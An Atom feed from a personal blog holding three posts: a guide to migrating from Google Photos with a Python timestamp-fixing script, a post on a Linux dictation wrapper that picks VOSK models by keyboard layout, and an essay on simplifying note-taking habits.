<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://el-musleh.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://el-musleh.github.io/" rel="alternate" type="text/html" /><updated>2026-05-15T22:43:47+02:00</updated><id>https://el-musleh.github.io/feed.xml</id><title type="html">Mohammad El-Musleh</title><subtitle>Mohammad El-Musleh&apos;s personal website</subtitle><author><name>Mohammad El-Musleh</name><email>mohammad.elmusleh@outlook.com</email></author><entry><title type="html">Escaping the Cloud: A Complete Guide to Transitioning from Google Photos</title><link href="https://el-musleh.github.io/technology/self-hosting/complete-transition-from-google-photos/" rel="alternate" type="text/html" title="Escaping the Cloud: A Complete Guide to Transitioning from Google Photos" /><published>2026-05-14T00:00:00+02:00</published><updated>2026-05-14T00:00:00+02:00</updated><id>https://el-musleh.github.io/technology/self-hosting/complete-transition-from-google-photos</id><content type="html" xml:base="https://el-musleh.github.io/technology/self-hosting/complete-transition-from-google-photos/"><![CDATA[<p>Google Photos is a convenient tool, but many of us eventually reach a point where we want more control over our digital memories. Whether it’s for privacy reasons, cost, or simply wanting to own your data, moving away from Google Photos can feel like a daunting task. The biggest hurdle? Losing the precious metadata (like dates and locations) that Google stores separately in JSON files.</p>

<p>In this guide, I’ll walk you through a streamlined process to export your library, fix the broken metadata, and organize your collection for the long term.</p>

<h2 id="1-the-great-escape-google-takeout">1. The Great Escape: Google Takeout</h2>

<p>The first step is getting your data out. Google Takeout is the official tool for this.</p>

<ol>
  <li>Go to <a href="https://takeout.google.com/">Google Takeout</a>.</li>
  <li>Select only <strong>Google Photos</strong>.</li>
  <li>Choose your export frequency and file type (ZIP is usually best).</li>
  <li>Wait for the download links.</li>
</ol>

<p><strong>Pro-Tip:</strong> If you also use Google Keep and want to preserve those notes, check out the <a href="https://github.com/vHanda/google-keep-exporter">Google Keep Exporter</a>.</p>

<p><strong>The Catch:</strong> Google provides your photos in one folder and their metadata (timestamps, location, descriptions) in separate <code class="language-plaintext highlighter-rouge">.json</code> files. If you simply move these photos to a new drive, they will all look like they were “created” on the day you downloaded them.</p>

<h2 id="2-restoring-the-soul-of-your-photos-metadata">2. Restoring the Soul of Your Photos (Metadata)</h2>

<p>To fix this, we need to merge the JSON data back into the image files. There are several ways to do this, ranging from specialized tools to custom scripts.</p>

<h3 id="option-a-specialized-tools">Option A: Specialized Tools</h3>
<p>If you prefer a GUI or a robust CLI tool, these are excellent choices:</p>
<ul>
  <li><strong><a href="https://github.com/TheLastGimbus/GooglePhotosTakeoutHelper/blob/master/README.md">Google Photos Takeout Helper</a>:</strong> A popular tool that organizes your photos into a clear folder structure.</li>
  <li><strong><a href="https://alamantus.github.io/GooglePhotosExportOrganizer/">Google Photos Export Organizer</a>:</strong> Another great utility specifically designed to handle the JSON sidecar files.</li>
  <li><strong><a href="https://exiftool.sourceforge.net/">ExifTool</a>:</strong> The industry standard for metadata manipulation. It’s powerful but has a steeper learning curve.</li>
</ul>

<p>These tools typically help you:</p>
<ul>
  <li>Fix all file created and modified dates as they are organized.</li>
  <li>Optionally copy all available metadata provided by Google Takeout in .json files back into the image/video files.</li>
  <li>Remind you to clean up after processing.</li>
</ul>

<h3 id="option-b-the-diy-python-approach">Option B: The DIY Python Approach</h3>
<p>For those who want a lightweight, customizable solution, I’ve used a simple Python script to update the file modification times based on the JSON <code class="language-plaintext highlighter-rouge">photoTakenTime</code>.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">json</span>
<span class="kn">from</span> <span class="nn">pathlib</span> <span class="kn">import</span> <span class="n">Path</span>

<span class="k">def</span> <span class="nf">update_file_modified_time</span><span class="p">(</span><span class="n">json_dir</span><span class="p">):</span>
    <span class="k">for</span> <span class="n">json_file</span> <span class="ow">in</span> <span class="n">Path</span><span class="p">(</span><span class="n">json_dir</span><span class="p">).</span><span class="n">glob</span><span class="p">(</span><span class="s">"*.json"</span><span class="p">):</span>
        <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">json_file</span><span class="p">,</span> <span class="s">"r"</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s">"utf-8"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
            <span class="k">try</span><span class="p">:</span>
                <span class="n">data</span> <span class="o">=</span> <span class="n">json</span><span class="p">.</span><span class="n">load</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
                <span class="n">image_file</span> <span class="o">=</span> <span class="n">data</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"title"</span><span class="p">)</span>
                <span class="n">timestamp</span> <span class="o">=</span> <span class="n">data</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"photoTakenTime"</span><span class="p">,</span> <span class="p">{}).</span><span class="n">get</span><span class="p">(</span><span class="s">"timestamp"</span><span class="p">)</span>

                <span class="k">if</span> <span class="ow">not</span> <span class="n">image_file</span> <span class="ow">or</span> <span class="ow">not</span> <span class="n">timestamp</span><span class="p">:</span>
                    <span class="k">continue</span>

                <span class="n">image_path</span> <span class="o">=</span> <span class="n">Path</span><span class="p">(</span><span class="n">json_dir</span><span class="p">)</span> <span class="o">/</span> <span class="n">image_file</span>
                <span class="k">if</span> <span class="n">image_path</span><span class="p">.</span><span class="n">exists</span><span class="p">():</span>
                    <span class="n">modified_time</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">timestamp</span><span class="p">)</span>
                    <span class="n">os</span><span class="p">.</span><span class="n">utime</span><span class="p">(</span><span class="n">image_path</span><span class="p">,</span> <span class="p">(</span><span class="n">modified_time</span><span class="p">,</span> <span class="n">modified_time</span><span class="p">))</span>
                    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Updated </span><span class="si">{</span><span class="n">image_file</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

            <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
                <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Error processing </span><span class="si">{</span><span class="n">json_file</span><span class="si">}</span><span class="s">: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="n">update_file_modified_time</span><span class="p">(</span><span class="s">"./photos"</span><span class="p">)</span>
</code></pre></div></div>

<h2 id="3-organizing-for-the-future">3. Organizing for the Future</h2>

<p>Once your metadata is restored, you need a strategy for organization.</p>

<h3 id="immediate-next-steps">Immediate Next Steps</h3>
<ul>
  <li><strong>Fix Sorting with Metadata:</strong> Use a script or tool to apply JSON data from the separate sidecar files directly to the image metadata. This ensures your collection is sorted correctly by the actual date taken, not the download date.</li>
  <li><strong>Remove Duplicates:</strong> Google Takeout often includes “edited” versions of photos alongside the originals. Note that Google Photos doesn’t remove the old edited photo; it keeps it but renames the new edited file with an additional number like <code class="language-plaintext highlighter-rouge">_1.jpg</code> at the end (and the number increments with every follow-up change). These old versions need to be handled if you want to keep only the latest edit. Run a deduplication tool (like <code class="language-plaintext highlighter-rouge">fdupes</code> or <code class="language-plaintext highlighter-rouge">rdfind</code> on Linux) to help.</li>
  <li><strong>Handle Extra Metadata:</strong> What about captions, notes, or comments? Consider adding these to a sidecar markdown note with a reference to the image.
    <h3 id="preservation-rules">Preservation Rules</h3>
    <p>When moving or editing your old photos, remember these golden rules:</p>
    <ol>
      <li><strong>Bulk Changes:</strong> Use tools that preserve original timestamps unless you are explicitly trying to correct them.</li>
      <li><strong>Location Metadata:</strong> If location data is missing, you can add it in bulk using tools like ExifTool before moving them to your final storage.</li>
      <li><strong>Avoid “Today’s Date”:</strong> Moving or editing old photos (older than today) should <em>always</em> keep the creation or modified date. Ensure your workflow doesn’t push the date to today.</li>
    </ol>
  </li>
</ul>

<h2 id="4-handling-it-on-the-go-mobile-apps">4. Handling it on the Go (Mobile Apps)</h2>

<p>If you prefer to manage some of these tasks directly on your phone, here are some recommended Android apps:</p>
<ul>
  <li><strong>Photo EXIF Editor:</strong> Great for viewing and modifying EXIF data.</li>
  <li><strong>Image &amp; Video Date Fixer:</strong> Specifically designed to fix file dates based on metadata.</li>
  <li><strong>Cisdem Duplicate Finder:</strong> Helpful for identifying and removing duplicate photos on your device.</li>
</ul>

<h2 id="conclusion">Conclusion</h2>

<p>Transitioning away from Google Photos is a bit of work upfront, but the peace of mind knowing your memories are stored exactly how you want them is worth it. By restoring your metadata and establishing a solid organization system, you ensure that your digital library remains searchable and meaningful for years to come.</p>

<p>Do you have a preferred method for managing your local photo library? Let me know!</p>]]></content><author><name>Mohammad El-Musleh</name><email>mohammad.elmusleh@outlook.com</email></author><category term="Technology" /><category term="Self-Hosting" /><category term="Google Photos" /><category term="Privacy" /><category term="Data Migration" /><category term="Linux" /><category term="Python" /><category term="Metadata" /><summary type="html"><![CDATA[Google Photos is a convenient tool, but many of us eventually reach a point where we want more control over our digital memories. Whether it’s for privacy reasons, cost, or simply wanting to own your data, moving away from Google Photos can feel like a daunting task. The biggest hurdle? Losing the precious metadata (like dates and locations) that Google stores separately in JSON files.]]></summary></entry><entry><title type="html">Smart Voice Dictation on Linux: Automatically Detect Keyboard Layout</title><link href="https://el-musleh.github.io/technology/linux/nerd-dictation-auto-switch-languages/" rel="alternate" type="text/html" title="Smart Voice Dictation on Linux: Automatically Detect Keyboard Layout" /><published>2026-03-20T00:00:00+01:00</published><updated>2026-03-20T00:00:00+01:00</updated><id>https://el-musleh.github.io/technology/linux/nerd-dictation-auto-switch-languages</id><content type="html" xml:base="https://el-musleh.github.io/technology/linux/nerd-dictation-auto-switch-languages/"><![CDATA[<div class="notice--info">
  <p><strong>🤖 AI Disclosure:</strong> For transparency, the content of this page was partially or mainly created with AI assistance tools.</p>
</div>

<h1 id="voxinput"><a href="https://github.com/BigRigVibeCoder/VoxInput">VoxInput</a></h1>
<p>🎙️ Offline <a href="/skills/?tag=voice-to-text" class="cv-skill-tag" data-skill="voice-to-text">voice-to-text</a>
 dictation for <a href="/skills/?tag=Linux" class="cv-skill-tag" data-skill="Linux">Linux</a>
. <a href="/skills/?tag=Privacy-first" class="cv-skill-tag" data-skill="Privacy-first">Privacy-first</a>
, works in any app. Powered by <a href="/skills/?tag=Vosk" class="cv-skill-tag" data-skill="Vosk">Vosk</a>
/<a href="/skills/?tag=Whisper" class="cv-skill-tag" data-skill="Whisper">Whisper</a>
.</p>

<hr />

<p>Imagine you’re writing a document in both English and Arabic. You need to switch between dictation modes every time you change languages. It’s tedious. On Windows, you just press <code class="language-plaintext highlighter-rouge">Win+H</code> and start talking. But on Linux, you’re stuck manually selecting the right speech model.</p>

<p>That’s the problem I set out to solve.</p>

<h2 id="the-solution">The Solution</h2>

<p>I created <a href="https://github.com/el-musleh/nerd-dictation-auto-switch-languages">nerd-dictation-auto-switch-languages</a>, a wrapper script that automatically detects your current <a href="/skills/?tag=keyboard+layout" class="cv-skill-tag" data-skill="keyboard layout">keyboard layout</a>
 and uses the appropriate <a href="/skills/?tag=speech-to-text" class="cv-skill-tag" data-skill="speech-to-text">speech-to-text</a>
 model. No more manual switching. Just press one shortcut and start talking.</p>

<h3 id="how-it-works">How It Works</h3>

<ol>
  <li>Press <code class="language-plaintext highlighter-rouge">Super+H</code> to start dictation</li>
  <li>The script detects your keyboard layout (English, Arabic, German, etc.)</li>
  <li>Launches the correct VOSK model automatically</li>
  <li>Speak — your words appear on screen</li>
  <li>Press <code class="language-plaintext highlighter-rouge">Super+Shift+H</code> to stop</li>
</ol>

<h2 id="the-technical-details">The Technical Details</h2>

<h3 id="key-components">Key Components</h3>

<p>| Component | Purpose |
|———–|———|
| <a href="https://github.com/ideasman42/nerd-dictation"><a href="/skills/?tag=nerd-dictation" class="cv-skill-tag" data-skill="nerd-dictation">nerd-dictation</a>
</a> | Base <a href="/skills/?tag=speech-to-text" class="cv-skill-tag" data-skill="speech-to-text">speech-to-text</a>
 tool using <a href="/skills/?tag=VOSK" class="cv-skill-tag" data-skill="VOSK">VOSK</a>
 |
| <a href="https://alphacephei.com/vosk/models"><a href="/skills/?tag=VOSK+Models" class="cv-skill-tag" data-skill="VOSK Models">VOSK Models</a>
</a> | <a href="/skills/?tag=Neural+network" class="cv-skill-tag" data-skill="Neural network">Neural network</a>
 models for each language |
| <a href="https://github.com/nonpop/xkblayout-state"><a href="/skills/?tag=xkblayout-state" class="cv-skill-tag" data-skill="xkblayout-state">xkblayout-state</a>
</a> | Detects current <a href="/skills/?tag=keyboard+layout" class="cv-skill-tag" data-skill="keyboard layout">keyboard layout</a>
 |</p>

<h3 id="the-magic-layout-detection">The Magic: Layout Detection</h3>

<p>The key innovation is detecting the <a href="/skills/?tag=keyboard+layout" class="cv-skill-tag" data-skill="keyboard layout">keyboard layout</a>
 in real-time:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Get current keyboard layout</span>
<span class="nv">CURRENT_LAYOUT</span><span class="o">=</span><span class="si">$(</span>xkblayout-state print <span class="s2">"%s"</span><span class="si">)</span>

<span class="c"># Result: "us", "ara", "de", etc.</span>
</code></pre></div></div>

<p>Then map it to the appropriate model:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">case</span> <span class="s2">"</span><span class="nv">$CURRENT_LAYOUT</span><span class="s2">"</span> <span class="k">in
    </span>us<span class="p">)</span>
        <span class="nv">MODEL_DIR</span><span class="o">=</span><span class="s2">"</span><span class="nv">$HOME</span><span class="s2">/.config/nerd-dictation/model"</span>
        <span class="nv">LANG_NAME</span><span class="o">=</span><span class="s2">"English"</span>
        <span class="p">;;</span>
    ara<span class="p">)</span>
        <span class="nv">MODEL_DIR</span><span class="o">=</span><span class="s2">"</span><span class="nv">$HOME</span><span class="s2">/.config/nerd-dictation/model-ar"</span>
        <span class="nv">LANG_NAME</span><span class="o">=</span><span class="s2">"Arabic"</span>
        <span class="p">;;</span>
<span class="k">esac</span>
</code></pre></div></div>

<h3 id="the-scripts">The Scripts</h3>

<p><strong>dictate-start</strong> — Main script that:</p>
<ul>
  <li>Detects keyboard layout</li>
  <li>Selects appropriate model</li>
  <li>Starts dictation with 30-second timeout</li>
  <li>Shows desktop notification</li>
</ul>

<p><strong>dictate-stop</strong> — Cleanup script that:</p>
<ul>
  <li>Reads which model was used</li>
  <li>Stops the dictation process</li>
  <li>Types the transcribed text</li>
  <li>Shows completion notification</li>
</ul>

<h2 id="installation">Installation</h2>

<h3 id="prerequisites">Prerequisites</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Install system dependencies</span>
<span class="nb">sudo </span>apt <span class="nb">install </span>python3-pip xdotool zenity libnotify-bin wget unzip git

<span class="c"># Install xkblayout-state</span>
git clone https://github.com/nonpop/xkblayout-state.git
<span class="nb">cd </span>xkblayout-state <span class="o">&amp;&amp;</span> make <span class="o">&amp;&amp;</span> <span class="nb">sudo </span>make <span class="nb">install</span>
</code></pre></div></div>

<h3 id="download-models">Download Models</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># English (required)</span>
<span class="nb">mkdir</span> <span class="nt">-p</span> ~/.config/nerd-dictation
wget https://alphacephei.com/vosk/models/vosk-model-small-en-us-0.15.zip
unzip vosk-model-small-en-us-0.15.zip
<span class="nb">mv </span>vosk-model-small-en-us-0.15 ~/.config/nerd-dictation/model

<span class="c"># Arabic (optional)</span>
wget https://alphacephei.com/vosk/models/vosk-model-ar-mgb2-0.4.zip
unzip vosk-model-ar-mgb2-0.4.zip
<span class="nb">mv </span>vosk-model-ar-mgb2-0.4 ~/.config/nerd-dictation/model-ar
</code></pre></div></div>

<h3 id="set-up-scripts">Set Up Scripts</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Clone scripts</span>
<span class="nb">cp </span>dictate-start ~/.nerd-dictation/
<span class="nb">cp </span>dictate-stop ~/.nerd-dictation/
<span class="nb">chmod</span> +x ~/.nerd-dictation/dictate-<span class="k">*</span>
</code></pre></div></div>

<h3 id="configure-shortcuts">Configure Shortcuts</h3>

<p>In your desktop settings:</p>

<p>| Shortcut | Command |
|———-|———|
| <code class="language-plaintext highlighter-rouge">Super+H</code> | <code class="language-plaintext highlighter-rouge">~/.&lt;a href="/skills/?tag=nerd-dictation" 
   class="cv-skill-tag"
   data-skill="nerd-dictation"&gt;nerd-dictation&lt;/a&gt;
/dictate-start</code> |
| <code class="language-plaintext highlighter-rouge">Super+Shift+H</code> | <code class="language-plaintext highlighter-rouge">~/.&lt;a href="/skills/?tag=nerd-dictation" 
   class="cv-skill-tag"
   data-skill="nerd-dictation"&gt;nerd-dictation&lt;/a&gt;
/dictate-stop</code> |</p>

<h2 id="results">Results</h2>

<h3 id="before">Before</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1. Switch keyboard to Arabic
2. Find and open Arabic dictation app
3. Start dictation
4. Speak
5. Switch back to English
6. Find and open English dictation app
7. Repeat...
</code></pre></div></div>

<h3 id="after">After</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1. Press Super+H
2. Speak
3. Press Super+Shift+H
4. Done!
</code></pre></div></div>

<h2 id="supported-languages">Supported Languages</h2>

<table>
  <thead>
    <tr>
      <th>Layout</th>
      <th>Language</th>
      <th>Model Size</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">us</code></td>
      <td>English</td>
      <td>40 MB</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">ara</code></td>
      <td>Arabic</td>
      <td>333 MB</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">de</code></td>
      <td>German</td>
      <td>45 MB</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">fr</code></td>
      <td>French</td>
      <td>45 MB</td>
    </tr>
  </tbody>
</table>

<p>Adding new languages is straightforward — just download the VOSK model and add a case to the script.</p>

<h2 id="challenges--solutions">Challenges &amp; Solutions</h2>

<h3 id="challenge-1-reliable-layout-detection">Challenge 1: Reliable Layout Detection</h3>

<p><strong>Problem</strong>: <code class="language-plaintext highlighter-rouge">gsettings</code> didn’t update in real-time when switching layouts.</p>

<p><strong>Solution</strong>: Used <code class="language-plaintext highlighter-rouge">xkblayout-state</code> which reads directly from X11.</p>

<h3 id="challenge-2-model-organization">Challenge 2: Model Organization</h3>

<p><strong>Problem</strong>: Multiple language models needed management.</p>

<p><strong>Solution</strong>: Standardized directory naming (<code class="language-plaintext highlighter-rouge">model</code>, <code class="language-plaintext highlighter-rouge">model-ar</code>, <code class="language-plaintext highlighter-rouge">model-de</code>).</p>

<h3 id="challenge-3-error-handling">Challenge 3: Error Handling</h3>

<p><strong>Problem</strong>: Users might not understand why dictation fails.</p>

<p><strong>Solution</strong>: Desktop notifications + zenity popups with clear messages.</p>

<h2 id="future-improvements">Future Improvements</h2>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Add support for more languages</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement auto-language switching mid-dictation</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Create GUI for configuration</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Add Whisper as alternative backend</li>
</ul>

<h2 id="conclusion">Conclusion</h2>

<p><a href="/skills/?tag=Linux" class="cv-skill-tag" data-skill="Linux">Linux</a>
 <a href="/skills/?tag=speech+recognition" class="cv-skill-tag" data-skill="speech recognition">speech recognition</a>
 has come a long way. With <a href="/skills/?tag=nerd-dictation" class="cv-skill-tag" data-skill="nerd-dictation">nerd-dictation</a>
-auto-switch-languages and <a href="/skills/?tag=VOSK" class="cv-skill-tag" data-skill="VOSK">VOSK</a>
, you can have seamless, offline, private <a href="/skills/?tag=voice+typing" class="cv-skill-tag" data-skill="voice typing">voice typing</a>
 that automatically adapts to your language. No cloud services, no subscriptions, just open-source speech-to-text that just works.</p>

<p>The project is fully open-source and available on GitHub. Contributions welcome!</p>

<h2 id="resources">Resources</h2>

<ul>
  <li><a href="https://github.com/el-musleh/nerd-dictation-auto-switch-languages">nerd-dictation-auto-switch-languages Repository</a></li>
  <li><a href="https://github.com/ideasman42/nerd-dictation">nerd-dictation</a></li>
  <li><a href="https://alphacephei.com/vosk/models">VOSK Models</a></li>
  <li><a href="https://github.com/nonpop/xkblayout-state">xkblayout-state</a></li>
</ul>

<p><em>Have questions or suggestions? Open an issue on GitHub!</em></p>]]></content><author><name>Mohammad El-Musleh</name><email>mohammad.elmusleh@outlook.com</email></author><category term="Technology" /><category term="Linux" /><category term="Linux" /><category term="Speech Recognition" /><category term="VOSK" /><category term="nerd-dictation" /><category term="Productivity" /><category term="Voice-to-Text" /><category term="Automation" /><category term="Python" /><category term="Open Source" /><summary type="html"><![CDATA[🤖 AI Disclosure: For transparency, the content of this page was partially or mainly created with AI assistance tools.]]></summary></entry><entry><title type="html">Note-taking is a hobby, not a tool! Why I’m dismantling 13+ years of digital hoarding to actually get work done.</title><link href="https://el-musleh.github.io/self-development/note-taking-is-a-hobby/" rel="alternate" type="text/html" title="Note-taking is a hobby, not a tool! Why I’m dismantling 13+ years of digital hoarding to actually get work done." /><published>2026-02-15T00:00:00+01:00</published><updated>2026-02-15T00:00:00+01:00</updated><id>https://el-musleh.github.io/self-development/note-taking-is-a-hobby</id><content type="html" xml:base="https://el-musleh.github.io/self-development/note-taking-is-a-hobby/"><![CDATA[<div class="notice--info">
  <p><strong>🤖 AI Disclosure:</strong> For transparency, the content of this page was partially or mainly created with AI assistance tools.</p>
</div>

<p>I recently read Beatrice Manuel’s article, <a href="https://www.xda-developers.com/stop-overengineering-notes/">“Why I stopped chasing the perfect system and started keeping imperfect notes,”</a> and one line specifically resonated with me the most: “The pursuit of perfection is procrastination wearing a very convincing disguise.” At this point in my life, I couldn’t agree more.
<a href="https://www.youtube.com/watch?v=9tqCz_N4f2Q">Your Perfect Notes Are Making You Fail (The Input Hoarding Effect) by Tiny Aha Lens</a></p>

<p><img src="/images/posts/note-taking-hobby-vs-actionable-tool.png" /></p>

<p>I thought it might be helpful to share a few of my previous bad habits here. I hope to help others avoid the same traps, and I’d love to hear your advice on how I can simplify even further.</p>

<p>After 10 years on <a href="/skills/?tag=Evernote" class="cv-skill-tag" data-skill="Evernote">Evernote</a>
, I switched to <a href="/skills/?tag=Obsidian" class="cv-skill-tag" data-skill="Obsidian">Obsidian</a>
 in 2023. After all these years, I’ve realized the following:</p>
<ul>
  <li>I was spending more time “maintaining the vault” than actually doing the work, usually as a way to procrastinate on more important tasks.</li>
  <li>I was trying to use Obsidian as an “all-in-one” app for everything in my life.</li>
  <li>I admit that much of my vault feels like a “local Wikipedia”. Even though, I kept using AI to look things up instead of checking my own notes.</li>
  <li>I used to set aside time to organize and maintain the vault, but it always felt boring and I could never stay consistent with it.</li>
</ul>

<p>I spent years trying to optimize my workflow by brainstorming ideas and researching ways to improve in my free time. I eventually realized that dedicating so much time to “organizing” was actually a sign that something was wrong. Comparing my slow, heavy workflow to people who used simple tools (or no note-taking app at all) made me realize that the time I spent wasn’t paying dividends.</p>

<h3 id="the-kill-list-what-i-scrapped-to-reclaim-my-time">The “Kill List”: What I scrapped to reclaim my time</h3>
<ul>
  <li><strong>Desktop Folders &gt; Vaults:</strong> I moved my active Projects (from <a href="/skills/?tag=PARA" class="cv-skill-tag" data-skill="PARA">PARA</a>
) out of <a href="/skills/?tag=Obsidian" class="cv-skill-tag" data-skill="Obsidian">Obsidian</a>
 and directly into desktop folders. They are now much easier to access and act upon.</li>
  <li><strong>Action over Collecting:</strong> Instead of hoarding links, I focus on sharing. I post what I find to get feedback and build my <a href="/skills/?tag=personal+brand" class="cv-skill-tag" data-skill="personal brand">personal brand</a>
.</li>
  <li><strong>No more “Local Databases”:</strong> I stopped using <a href="/skills/?tag=Obsidian" class="cv-skill-tag" data-skill="Obsidian">Obsidian</a>
 to build local versions of <a href="/skills/?tag=IMDb" class="cv-skill-tag" data-skill="IMDb">IMDb</a>
 and <a href="/skills/?tag=Goodreads" class="cv-skill-tag" data-skill="Goodreads">Goodreads</a>
. It was a massive time-sink to maintain clipped notes. Using the original platforms is much more convenient and offers better features.
i can tell that <a href="/skills/?tag=Obsidian" class="cv-skill-tag" data-skill="Obsidian">Obsidian</a>
 is really great for collecting and making links between nodes and this could be useful in if someone doing it on related to that problem too is a profession but for me it is not just for entertainment and for fun and food allergies one it’s not good.  does it make difference if i wanna tell a i too the about what i like and what i wanna watch later like OpenClaw?  when it give me better recommendation i don’t know.  but again exporter or that easily from at the source and have it as CSV format which is accepted for the ai.</li>
  <li><strong>Retiring the Web Clipper:</strong> I no longer save job descriptions or site snapshots. I’m using <a href="/skills/?tag=AI" class="cv-skill-tag" data-skill="AI">AI</a>
 anyway to assist in making tailored documents on the fly, and I can always find the original info by using the search feature. For recipes, I’d rather just add them manually than spend time customizing a template for a single website.</li>
  <li><strong>Single Source of Truth:</strong> I stopped using the Google Contacts sync plugin. Maintaining two sources was a mistake. I even tried taking “relationship notes” to stay invested in people, but it felt wrong. If I can’t remember it, set it as a task, or put it in the Google Contacts “notes” section, I’d rather let it go.</li>
  <li><strong>The Meal-Planning System:</strong> I stopped using my shopping and meal system (which was a complex alternative to Samsung Food using four community plugins and locally stored all possible items in a folder structure as a label). For me, rigid planning failed because I couldn’t control my eating habits; for example, I’d eat all my snacks in the first few days instead of over the planned period. Now, I just buy healthy food and cook spontaneously. It’s also a great excuse to get out and walk to the store more often.</li>
  <li><strong>Low-Friction Journaling:</strong> I stopped habit tracking and text journaling. If I can’t act on the data, I don’t track it. I’ve switched to audio recordings; they are faster, more expressive, and require zero formatting. I rarely listen back, but knowing the idea is captured makes me feel good.</li>
  <li><strong>Externalizing Backups:</strong> I stopped using <a href="/skills/?tag=Obsidian" class="cv-skill-tag" data-skill="Obsidian">Obsidian</a>
 to store backup data like PDFs, e-books, RSS feeds, and configuration files. I’ve moved these to <a href="/skills/?tag=Google+Drive" class="cv-skill-tag" data-skill="Google Drive">Google Drive</a>
 for direct syncing. For my code snippets and scripts, I now use <a href="/skills/?tag=GitHub" class="cv-skill-tag" data-skill="GitHub">GitHub</a>
 private repo with script to automatically send files to specific folders and more… This keeps my vault lightweight and focused only on active thought.</li>
</ul>

<p>I spent a long time resisting systems like PARA because I wanted to build something uniquely mine. I even had the ego to think I’d write a book about my “perfect” system one day!</p>

<p>Cutting these habits out was difficult, but learning to cut my losses and move on has been liberating. I finally feel like I’m moving toward true productivity. However, the transition is far from complete; there are still a few areas where I’m sticking to my old ways for now:</p>
<h3 id="work-in-progress-moving-toward-action"><strong>Work in Progress: Moving Toward Action</strong></h3>
<ul>
  <li><strong>The Document Archive:</strong> I still use the Archive (from <a href="/skills/?tag=PARA" class="cv-skill-tag" data-skill="PARA">PARA</a>
), but it contains my personal documents only.</li>
  <li><strong>Re-purposing “Areas”:</strong> I am transforming the knowledge previously hidden in my Areas into active projects. My goal is to eventually delete the static notes and replace them with:
    <ul>
      <li>**<a href="/skills/?tag=Anki+flashcards" class="cv-skill-tag" data-skill="Anki flashcards">Anki flashcards</a>
** for long-term retention of what I’ve learned.</li>
      <li>**<a href="/skills/?tag=Blog+posts" class="cv-skill-tag" data-skill="Blog posts">Blog posts</a>
** to share my findings and build my <a href="/skills/?tag=personal+brand" class="cv-skill-tag" data-skill="personal brand">personal brand</a>
.</li>
      <li>**<a href="/skills/?tag=Apps" class="cv-skill-tag" data-skill="Apps">Apps</a>
** or **<a href="/skills/?tag=websites" class="cv-skill-tag" data-skill="websites">websites</a>
** that turn my research into potential income.</li>
    </ul>
  </li>
</ul>

<p>Not everything was a waste of time. These two habits have proven their value by reducing my mental load:</p>
<h3 id="systems-that-actually-work-my-keep-list"><strong>Systems That Actually Work (My “Keep” List)</strong></h3>
<ul>
  <li><strong>Travel Notes:</strong> I maintain a “Countries” folder generated via a **<a href="/skills/?tag=Python" class="cv-skill-tag" data-skill="Python">Python</a>
 script and <a href="/skills/?tag=API" class="cv-skill-tag" data-skill="API">API</a>
**. Instead of saving/downloading social media content (Reels, Shorts, etc.), I log the recommendations directly into these country notes. Having a ‘ready-to-use’ list of places saves me from frantically searching for saved clips or planning from scratch when I actually travel.</li>
  <li><strong>Social Activity Notes:</strong> As an event planner, I keep a curated folder of interesting activities I find online. When I’m planning the next outing with friends, this folder eliminates decision fatigue. I no longer have to “think” of what to do.</li>
  <li><strong>Travel Checklist:</strong> I keep a few high-value checklists in my Areas folder that save me immense time and stress. For example, my travel/sleepover checklist note ensures I never forget an essential item. I use the “Meta Bind” and “Templater” plugins to instantly reset the check-boxes before going through it. By logging feedback after every journey, I’ve optimized my packing so well that I now travel with only a backpack. It is incredibly rewarding to be precise, especially compared to my siblings who bring massive suitcases because they aren’t sure what they need and end up bringing everything “just in case.”</li>
</ul>

<p>The <a href="/skills/?tag=kanban+plugin" class="cv-skill-tag" data-skill="kanban plugin">kanban plugin</a>
 is so powerful and open for customization. The downside is it only sync based on my sync method. Async.I tried Trello and Clickup as alternative to Obsidna but they had limiration and overkill for tracking habit. 
I used kanban vertically for track-processes. Other GitHib project I am working on, i use the default settings.</p>

<p>This isn’t a one-time cleanup; it’s an ongoing process. I plan to provide updates as my workflow evolves. My main takeaways are:</p>
